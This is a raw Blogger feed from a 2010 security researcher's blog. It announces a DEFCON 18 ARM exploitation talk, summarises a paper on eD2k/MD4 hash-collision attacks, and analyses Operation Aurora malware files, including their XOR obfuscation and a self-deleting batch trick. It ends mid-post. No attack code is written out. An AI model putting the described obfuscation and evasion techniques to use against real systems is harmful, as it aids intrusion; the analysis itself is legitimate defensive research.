left;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://www.twitter.com/ihackbanme" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="90" width="120" src="http://2.bp.blogspot.com/_Kde3g35OnUQ/TO2_TmMkMjI/AAAAAAAAAI8/acnxSYeXOdw/s200/twitter_logo_on_black_bg_ap-1.jpg" width="200" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Follow me on twitter!&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&amp;nbsp;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;Here are the presentation for ARM Exploitation that was given in Defcon (minus the pictures of myself at 3AM and those funny pictures) : &lt;a href="http://ihackbanme.com/presentation/DEFCON18%20-%20Itzhak%20Zuk%20Avraham%20-%20ARM%20Exploitation%20Presentation.pdf"&gt;DEFCON18 - ARM Exploitation Presentation&lt;/a&gt;&lt;br /&gt;Also, The updated whitepaper for ARM Exploitation can be found here : &lt;a href="http://ihackbanme.com/presentation/DEFCON18%20-%20Itzhak%20Zuk%20Avraham%20-%20ARM%20Exploitation%20WP.pdf"&gt;DEFCON18 - ARM Exploitation White Paper&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On a personal note : I'd like to say that DEFCON18 was awesome! and Thanks for coming to my presentation!&lt;br /&gt;The picture is only of less than 2/3 of the crowd because I couldn't picture all in one shot! It was wicked!&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;So you can find yourself, inhere :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Kde3g35OnUQ/TFg2fMYYQGI/AAAAAAAAAHU/hETnatoqqgw/s1600/DSCF1877dc.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://3.bp.blogspot.com/_Kde3g35OnUQ/TFg2fMYYQGI/AAAAAAAAAHU/hETnatoqqgw/s400/DSCF1877dc.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-8562356027800956115?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/8562356027800956115/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/08/defcon-presentation_03.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/8562356027800956115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/8562356027800956115'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/08/defcon-presentation_03.html' title='Defcon Presentation'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Kde3g35OnUQ/TO2_TmMkMjI/AAAAAAAAAI8/acnxSYeXOdw/s72-c/twitter_logo_on_black_bg_ap-1.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-6349596266144922806</id><published>2010-08-01T16:47:00.000+03:00</published><updated>2010-08-01T16:47:07.271+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ARM'/><category scheme='http://www.blogger.com/atom/ns#' term='DEFCON'/><category scheme='http://www.blogger.com/atom/ns#' term='RoP'/><category scheme='http://www.blogger.com/atom/ns#' term='Ret2ZP'/><category scheme='http://www.blogger.com/atom/ns#' term='Stack Overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='OWNED'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploitation'/><title type='text'>Defcon presentation</title><content type='html'>Hold on, I didn't put the picture online... come back in 2 hours after the talk and see yourself screaming "owned".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Will be releasing 1-2 Firefox bugs here soon...&lt;br /&gt;Cya in few hours...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-6349596266144922806?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/6349596266144922806/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/08/defcon-presentation.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/6349596266144922806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/6349596266144922806'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/08/defcon-presentation.html' title='Defcon presentation'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-3140509659657174841</id><published>2010-06-11T10:48:00.000+03:00</published><updated>2010-06-11T10:48:23.749+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ARM'/><category scheme='http://www.blogger.com/atom/ns#' term='SANS'/><category scheme='http://www.blogger.com/atom/ns#' term='DEFCON'/><category scheme='http://www.blogger.com/atom/ns#' term='DEFCON18'/><category scheme='http://www.blogger.com/atom/ns#' term='SANSFIRE'/><category scheme='http://www.blogger.com/atom/ns#' term='DEFCON-18'/><category scheme='http://www.blogger.com/atom/ns#' term='LAS-VEGAS'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploitation'/><title type='text'>Speaker at DEFCON-18 [Las Vegas]</title><content type='html'>Hey there,&lt;br /&gt;I've had a great time talking at SANSFIRE event, and also got the news that I will be speaking at DEFCON18 in Las Vegas later on this year.&lt;br /&gt;I will speak on "defeating ARM security mechanisms &amp;amp; full exploitation". If you're there, drop by to say hello!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Till then, Happy exploitation! :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-3140509659657174841?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/3140509659657174841/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/06/speaker-at-defcon-18-las-vegas.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/3140509659657174841'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/3140509659657174841'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/06/speaker-at-defcon-18-las-vegas.html' title='Speaker at DEFCON-18 [Las Vegas]'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-8991576659725588158</id><published>2010-04-25T22:19:00.003+03:00</published><updated>2010-04-25T22:30:18.422+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ed2k'/><category scheme='http://www.blogger.com/atom/ns#' term='hash attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='md4'/><category scheme='http://www.blogger.com/atom/ns#' term='collision attacks'/><title type='text'>eD2k hash collision attacks</title><content type='html'>2 friends (Uzi Tuvian &amp;amp; Lital Porat), have done a nice research on ed2k collision attacks, here you go :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Kde3g35OnUQ/S9SVkp0w0BI/AAAAAAAAAHI/A9qGawncZlE/s1600/ed2k.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://1.bp.blogspot.com/_Kde3g35OnUQ/S9SVkp0w0BI/AAAAAAAAAHI/A9qGawncZlE/s200/ed2k.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;div&gt;&lt;u&gt;About the paper:&lt;/u&gt;&lt;/div&gt;&lt;div&gt;In the paper we discuss the implications of the MD4 collision attacks that were developed in the past few years on the ed2k protocol (the protocol used in today's eDonkey network).&amp;nbsp; Since ed2k uses the MD4 hash function to generate unique file identifiers, these collisions allow a well-crafted file to exist in various different versions across the network.&amp;nbsp; Some of these versions might be legit&amp;nbsp;and some might&amp;nbsp;be malicious, but a user of the current network have to way to distinguish which version of the file he or she is downloading.&lt;/div&gt;&lt;div&gt;Just to be clear - this does not mean that an attacker might inject malicious versions of pre-existing files in the network; It does mean that an attacker (or an organization) might, for example, introduce&amp;nbsp;new colliding files to the network and leverage on the popularity of the legit file to mascaraed the malicious one or even, under some circumstances, send the malicious version to targets of his choice.&amp;nbsp; One&amp;nbsp;of the&amp;nbsp;scenarios we discuss (one that might already be happening)&amp;nbsp;is of a warez group that can use the network as an attack platform in order to gain access to a selected subset of it's users by distributing illegal content and performing such 'low-profile attacks'&amp;nbsp;on&amp;nbsp;well-chosen targets. These targets can be hosts residing in certain countries or networks, hosts running certain OS versions or whatever parameter which might interest the attacker.&lt;/div&gt;In the paper, we discuss the different techniques that might be used to optimize and hide&amp;nbsp;the attack and it's results, scenarios and attack vectors that are made possible due to this issue, and a tool we've put together that can be used to generate such malicious files in very&amp;nbsp;high efficiency.&lt;/blockquote&gt;You can &lt;a href="http://ihackbanme.com/papers/Hash.pdf"&gt;download the paper from here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-8991576659725588158?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/8991576659725588158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/04/ed2k-hash-collision-attacks.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/8991576659725588158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/8991576659725588158'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/04/ed2k-hash-collision-attacks.html' title='eD2k hash collision attacks'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Kde3g35OnUQ/S9SVkp0w0BI/AAAAAAAAAHI/A9qGawncZlE/s72-c/ed2k.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-4555364503051409445</id><published>2010-04-17T20:06:00.003+03:00</published><updated>2010-04-23T23:06:27.344+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='aurora'/><category scheme='http://www.blogger.com/atom/ns#' term='msconfig32'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='ad_1_.jpg'/><category scheme='http://www.blogger.com/atom/ns#' term='reverse engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='msconfig32.sys'/><category scheme='http://www.blogger.com/atom/ns#' term='packed'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='china'/><category scheme='http://www.blogger.com/atom/ns#' term='APT'/><title type='text'>ad_1_.jpg unpacking/analysis - Aurora</title><content type='html'>In this post we'll try to run Aurora as non-administrative user, and debug ad_1_.jpg which used by the attackers right after the attack.Well, I was very curious about other files in the attack, after not able to unpack the msconfig32.sys, and thought, maybe other files will give me clues on msconfig32.sys and might give me a way of unpacking it.&lt;br /&gt;&lt;br /&gt;I've looked into USCERT advisory regarding the Aurora attack, and saw interesting file, with no explain of what it does, named ad_1_.jpg, it says that the file is XOR'd with 0x95, but nothing else :&lt;br /&gt;Original advisory looked like this : &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Kde3g35OnUQ/S8njxstzsJI/AAAAAAAAAGo/LRI04scXMPE/s1600/Screen+shot+2010-04-17+at+7.32.21+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="22" src="http://1.bp.blogspot.com/_Kde3g35OnUQ/S8njxstzsJI/AAAAAAAAAGo/LRI04scXMPE/s400/Screen+shot+2010-04-17+at+7.32.21+PM.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;So it got me curious. I got the file from my friends where I write as-well : &lt;a href="http://malwareint.com/"&gt;malwareint.com&lt;/a&gt;&lt;br /&gt;It took me a while to get from this file in the advisory to the original file, the problem was, that I didn't know on how this file got dropped and that what was hard to find out how the attacker opened it in the computer of the victim. It wasn't very important if the file wasn't also packed with other packer (UPX) so every byte was important to be restored as original.&lt;br /&gt;&lt;br /&gt;I've understood how to DeXOR it correctly (it was XOR to every byte which is not 0x00 or 0x95, with 0x95), attached python algorithm for it :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Kde3g35OnUQ/S8njpPMU0WI/AAAAAAAAAGg/Xrg4-ykcwms/s1600/Screen+shot+2010-04-17+at+3.27.19+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Kde3g35OnUQ/S8njpPMU0WI/AAAAAAAAAGg/Xrg4-ykcwms/s320/Screen+shot+2010-04-17+at+3.27.19+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;After unpacking the file to the original file (inside the UPX), I've uploaded it to virustotal, and saw the file was analyzed in the beginning of February (now, 36 out of 40 Anti-Virus catches it).&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Kde3g35OnUQ/S8nmfAICMAI/AAAAAAAAAGw/z40NFp4bqs4/s1600/Screen+shot+2010-04-17+at+3.28.54+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Kde3g35OnUQ/S8nmfAICMAI/AAAAAAAAAGw/z40NFp4bqs4/s320/Screen+shot+2010-04-17+at+3.28.54+AM.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;So, I had it in mind that the file might have been already analyzed, and after analyzing it myself, I've seen that the reports I've read, were from this file (Service creation name, querying important files such as rasmon.dll). So people have already analyzed it for us. I get to save time.&lt;br /&gt;&lt;br /&gt;I also wanted to check 2 interesting stuff :&lt;br /&gt;1. Why there was used a BAT file in the attack (and what it did?).&lt;br /&gt;2. Can the attack run as simple user (not admin).&lt;br /&gt;&lt;br /&gt;The answer for 1 was simple, (file name was : c:\windows\DFS.bat)&lt;br /&gt;after quick reverse-engineering tricks you can get the value of it before it's deleted : &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Kde3g35OnUQ/S8nnrU6ztMI/AAAAAAAAAG4/n146t9qDvNU/s1600/Screen+shot+2010-04-17+at+7.26.16+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="68" src="http://4.bp.blogspot.com/_Kde3g35OnUQ/S8nnrU6ztMI/AAAAAAAAAG4/n146t9qDvNU/s640/Screen+shot+2010-04-17+at+7.26.16+PM.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The batch file supposed to run in loop and wait for the handle that catches the exe to allow it to be deleted. If it's not deleted, it will try again. After the file was deleted (it uses dynamic name, that's why it's running from my desktop[on VM]), it deletes the bat file himself. Actually it's a nice trick to verify deletion of exe file after it's done executing, because deleting the exe within the file himself will not succeed without any trick (handle will be locked).&lt;br /&gt;&lt;b&gt;A little tip to this module-writer would be : next time use the /f on del command, it might give you better chances&lt;/b&gt; :P&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Did it work as non-administrative-user? &lt;b&gt;It didn't work as a normal user and didn't try to use any kind of privilege escalation while I was testing it.&lt;/b&gt; It also failed doing changes in the registry, and dropping files on c:\windows.&lt;br /&gt;I didn't test it too much because of what I said above (that it's already got tested by others), but from a regular behavior-check tests, it didn't work as non-administrative user.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Kde3g35OnUQ/S9H9qhzSPlI/AAAAAAAAAHA/ZdpnOQKXZxM/s1600/Screen+shot+2010-04-23+at+11.03.53+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="474" src="http://4.bp.blogspot.com/_Kde3g35OnUQ/S9H9qhzSPlI/AAAAAAAAAHA/ZdpnOQKXZxM/s640/Screen+shot+2010-04-23+at+11.03.53+PM.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;What can we learn from 2? That if Google have used proper user rights on their computer, initial installation of Aurora, wouldn't have work. It appears that non-admin user would have been enough since the exploit which the attackers used, runs remote code as the user who run internet-explorer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Regarding the msconfig32.sys? Well... I've tried to implement my unpacker to do the same here, didn't go quite well yet. But I still got hope on this one :). For Mcafee, I wouldn't say it's not related to the attack, I actually think it is :&lt;br /&gt;Two patterns which we see here :&lt;br /&gt;1. Both files used some kind of repeating XOR in every section of the file.&lt;br /&gt;2. Both files used different extension for the file from what it really was.&lt;br /&gt;&lt;br /&gt;Under this scenario I'd say that they are related and from the same authors in the attack. Sorry Mcafee,&lt;br /&gt;&lt;b&gt;If it was up to me to decide, I would have suggested USCERT to put msconfig32.sys back on their advisory if it was up to me to decide.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="color: red;"&gt;&lt;b&gt;Follow me on twitter under @ihackbanme:)&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-4555364503051409445?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/4555364503051409445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/04/ad1jpg-unpackinganalysis-aurora.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/4555364503051409445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/4555364503051409445'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/04/ad1jpg-unpackinganalysis-aurora.html' title='ad_1_.jpg unpacking/analysis - Aurora'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Kde3g35OnUQ/S8njxstzsJI/AAAAAAAAAGo/LRI04scXMPE/s72-c/Screen+shot+2010-04-17+at+7.32.21+PM.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-3587698361009192495</id><published>2010-04-03T22:00:00.001+03:00</published><updated>2010-04-11T00:22:10.766+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='response to media'/><category scheme='http://www.blogger.com/atom/ns#' term='aurora'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='trojan'/><category scheme='http://www.blogger.com/atom/ns#' term='msconfig32.sys'/><category scheme='http://www.blogger.com/atom/ns#' term='vietnamesse botnet'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='china'/><category scheme='http://www.blogger.com/atom/ns#' term='botnet'/><category scheme='http://www.blogger.com/atom/ns#' term='APT'/><title type='text'>McAfee : Aurora files report contained amateur botnet files</title><content type='html'>Well... Maybe they did contain some other files. Here's the link for the article : &lt;a href="http://bit.ly/amk2EE"&gt;http://bit.ly/amk2EE&lt;/a&gt;.&lt;br /&gt;They are saying that :&lt;br /&gt;"McAfee included &lt;a href="https://kc.mcafee.com/resources/sites/MCAFEE/content/live/CORP_KNOWLEDGEBASE/67000/KB67957/en_US/Combating%20Threats%20-%20Operation%20Aurora.pdf"&gt;four filenames&lt;/a&gt; in its original Aurora research that it now says are associated with the Vietnamese botnet: jucheck.exe, zf32.dll, AdobeUpdateManager.exe   and msconfig32.sys."&lt;br /&gt;&lt;br /&gt;But are they not related? Well.. you just need to believe them. Don't you?&lt;br /&gt;&amp;nbsp;I don't know about the rest of the files, but I know about msconfig32.sys. It was really really hard to get my hands on this one. If it was a botnet regular file I would have gotten it much faster.&lt;br /&gt;And when I searched for it, I did find some malware named the same. but it wasn't the binary :). &lt;br /&gt;Also, I have another proof that relates msconfig32.sys to other file, which means both used same method in the attack. I cannot disclose any more details now. &lt;br /&gt;&lt;br /&gt;msconfig32.sys is a tricky name, and that's what got McAfee's eyes wrong (in my opinion). Well, There were viruses with the same name (which was a real driver... BTW) + viruses with the name of msconfig32.exe - They were all a tricky name which wanted to sound like a system name : msconfig.exe (which is also the command to disable start-up programs [from registry] or see services which have no Microsoft's signature on it). It's like calling a trojan : svchost32.exe.&lt;br /&gt;&lt;br /&gt;It's a bad name for a trojan. But that's what used in the attack. So, saying that it was a regular botnet's file, would be just weird (wait for my future post :) ). Yes, of course some malware used the name msconfig32.sys (as a real driver this time) sometime in history, it doesn't mean they are related.&lt;br /&gt;&lt;br /&gt;I cannot post anymore details currently, about my new leads, so I better shut up now.&lt;br /&gt;&lt;br /&gt;Cheers!&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-3587698361009192495?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/3587698361009192495/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/04/mcafee-aurora-files-report-contained.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/3587698361009192495'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/3587698361009192495'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/04/mcafee-aurora-files-report-contained.html' title='McAfee : Aurora files report contained amateur botnet files'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-7319698314796565580</id><published>2010-03-19T20:25:00.002+02:00</published><updated>2010-04-11T00:22:57.539+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='aurora'/><category scheme='http://www.blogger.com/atom/ns#' term='msconfig32'/><category scheme='http://www.blogger.com/atom/ns#' term='analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='msconfig32.sys'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='china'/><category scheme='http://www.blogger.com/atom/ns#' term='APT'/><category scheme='http://www.blogger.com/atom/ns#' term='driver'/><title type='text'>Aurora .sys file used in the attack - External file analysis</title><content type='html'>First of all, I'd like to thank&amp;nbsp;&lt;a href="http://www.malwareint.com/"&gt;MalwareInt&lt;/a&gt; where I write as a researcher for getting me this precious file.&lt;br /&gt;&lt;br /&gt;In the Aurora attack, 1 .sys file had been used, called : msconfig32.sys.&lt;br /&gt;I was pretty curious about what does this driver do, and why no one else in the world had analyzed it.&lt;br /&gt;It had been a terrible journey to get the file. No one had it. No one wanted to share it. I was pretty lucky to group up with MalwareInt and they had the right connections to get this file.&lt;br /&gt;&lt;br /&gt;Like I've told to large number of people, there are lots of reasons to use drivers in this kind of attack, but it's pretty clear the attackers weren't about to hide itself or its connections. The only thing I could have think of is writing a driver to get information about the physical status of the screen (Because the attackers used patched version of VNC, a driver could query the status of the screen, and if it's shut/stand by it's safe to work, also, this kind of driver could have saved restore points of the computer before the attacker started to look for files inside of the computer and once the screen is up, restore everything to its original state - more of this idea is on my presentation on &lt;a href="http://ihackbanme.com/"&gt;ihackbanme.com&lt;/a&gt; and &lt;a href="http://www.ihackbanme.com/presentation/Google%20Vs.%20China%20Presentation_updated.pdf"&gt;can be downloaded here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;But it appears that this is not the case. That's what I was looking for. That what I've been trying to search for, but it had been there the whole time. The .sys file, wasn't a driver.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Let's first take a quick look at the file (.sys file is a PE)&lt;a href="http://4.bp.blogspot.com/_Kde3g35OnUQ/S6OaqDwGm5I/AAAAAAAAAF4/WisoQw6W8Wg/s1600-h/Screen+shot+2010-03-03+at+10.21.20+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="261" src="http://4.bp.blogspot.com/_Kde3g35OnUQ/S6OaqDwGm5I/AAAAAAAAAF4/WisoQw6W8Wg/s400/Screen+shot+2010-03-03+at+10.21.20+PM.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Well? what's that? why are there 0x20 all over the file? it's supposed to be 0x00 in those areas.. It's obviously a XOR. It does have a base like a PE, but it sure does look different, XORed or some kind of anti-reverse engineering on it. That's the first look.&lt;br /&gt;Let's take a look at +- same size of other, valid, Microsoft driver :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Kde3g35OnUQ/S6ObZMEo1MI/AAAAAAAAAGA/yBTUHVKVN_c/s1600-h/Screen+shot+2010-03-03+at+10.20.17+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="250" src="http://2.bp.blogspot.com/_Kde3g35OnUQ/S6ObZMEo1MI/AAAAAAAAAGA/yBTUHVKVN_c/s400/Screen+shot+2010-03-03+at+10.20.17+PM.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Can you notice the difference? Where's it's usually 0x00 there are 0x20. Weird. Let's look further in the msconfig32.sys file :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Kde3g35OnUQ/S6OcvWVH_UI/AAAAAAAAAGI/1Fk6Bbv0sgg/s1600-h/Screen+shot+2010-03-03+at+10.22.59+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="261" src="http://2.bp.blogspot.com/_Kde3g35OnUQ/S6OcvWVH_UI/AAAAAAAAAGI/1Fk6Bbv0sgg/s400/Screen+shot+2010-03-03+at+10.22.59+PM.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Wait?!@@#$ Why are there .dll files mentioned after the Resource mark? Havn't seen that in a driver before... Let's again take a look at a valid driver 